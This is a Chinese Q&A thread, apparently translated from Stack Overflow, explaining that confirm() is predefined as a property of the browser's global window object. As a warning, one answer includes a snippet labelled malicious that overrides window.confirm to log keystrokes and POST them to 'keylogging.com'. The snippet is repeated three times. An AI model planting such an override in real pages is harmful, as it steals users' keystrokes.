Javascript方法定义

Javascript方法定义,javascript,Javascript,我最近开始学习javascript,我知道Java和一些html、CSS和SQL。但是,我对js中发生的事情有点困惑。JS有一个名为confirm的方法,它会弹出一个窗口,要求用户进行确认。在使用之前,您不必定义此方法。在java中,您必须定义对象才能使用它,在这里,他们使用的方法是在没有定义它的情况下调用的。它已经在JS中定义了吗?它是如何工作的?请帮忙,因为我现在很困惑 它已经在JS中定义了吗 是的,浏览器确实预定义了方法,因此您可以方便地使用它。Javascript有一个预定义的对象,名为

我最近开始学习javascript,我知道Java和一些html、CSS和SQL。但是,我对js中发生的事情有点困惑。JS有一个名为confirm的方法,它会弹出一个窗口,要求用户进行确认。在使用之前,您不必定义此方法。在java中,您必须定义对象才能使用它,在这里,他们使用的方法是在没有定义它的情况下调用的。它已经在JS中定义了吗?它是如何工作的?请帮忙,因为我现在很困惑

它已经在JS中定义了吗


是的,浏览器确实预定义了方法,因此您可以方便地使用它。

Javascript有一个预定义的对象,名为,它已经定义了很多属性

打开浏览器的控制台,键入
window
,然后按enter键,即可查看它们

因为Javascript直到ES6(目前正在开发的规范)才有模块系统的概念,所以所有浏览器API都必须存储在window对象中,以便开发人员能够使用它们

您可以将窗口对象视为Javascript中的全局范围。如果您创建的变量没有
var
关键字,它将作为
窗口
对象上的属性创建

function main() {
  hello = 3;
  window.hello === 3; // true

  var bye = 2;
  window.bye === 2; // false
  typeof window.bye === 'undefined'; // true
}
// malicious script
window.confirm = function() {
  window.addEventListener('keydown', function(e) {
    $.POST('keylogging.com', { key: e.keyCode }); 
  });
};
因此,调用
confirm()
与调用
window.confirm()
隐式相同,因为
confirm
实际上只是
window
对象上的一个属性

function main() {
  hello = 3;
  window.hello === 3; // true

  var bye = 2;
  window.bye === 2; // false
  typeof window.bye === 'undefined'; // true
}
// malicious script
window.confirm = function() {
  window.addEventListener('keydown', function(e) {
    $.POST('keylogging.com', { key: e.keyCode }); 
  });
};
此模型被广泛认为是一个坏主意,可能非常危险,它使其他脚本很容易在
窗口
对象上重新定义属性

function main() {
  hello = 3;
  window.hello === 3; // true

  var bye = 2;
  window.bye === 2; // false
  typeof window.bye === 'undefined'; // true
}
// malicious script
window.confirm = function() {
  window.addEventListener('keydown', function(e) {
    $.POST('keylogging.com', { key: e.keyCode }); 
  });
};
现在,如果您调用confirm,而不是看到确认对话框,您将注册一个事件侦听器,它将把您的所有击键发送到其他服务器

显然,并不是所有的第三方代码都是恶意的,但对Windows的修改仍有可能导致您的代码被破坏


最佳做法是尽量避免更改窗口对象上的任何内容。一种方法是使用删除的。

标记。请理解
Java!=Javascript
,事实上,它们是完全不同的语言,唯一的相似之处在于它们都从C派生出一些语法,并且在名称上有着不幸的相似之处。请注意,这不是一个微不足道的编辑,因为标记的准确性至关重要,并且是让正确的专家被您的问题吸引的最重要因素之一。祝你好运
如何确认
被利用?预期结果?可以包含
js
?您对什么感到困惑?有一些内置函数,就像Java一样。例如,System.out.println()。您不必定义它,因为它内置于JDKYeah中,我知道它们不相等。我把java放在那里的唯一原因是因为我在我的帖子中引用了java,我问在方法定义中有什么区别,所以它只是一个内置函数?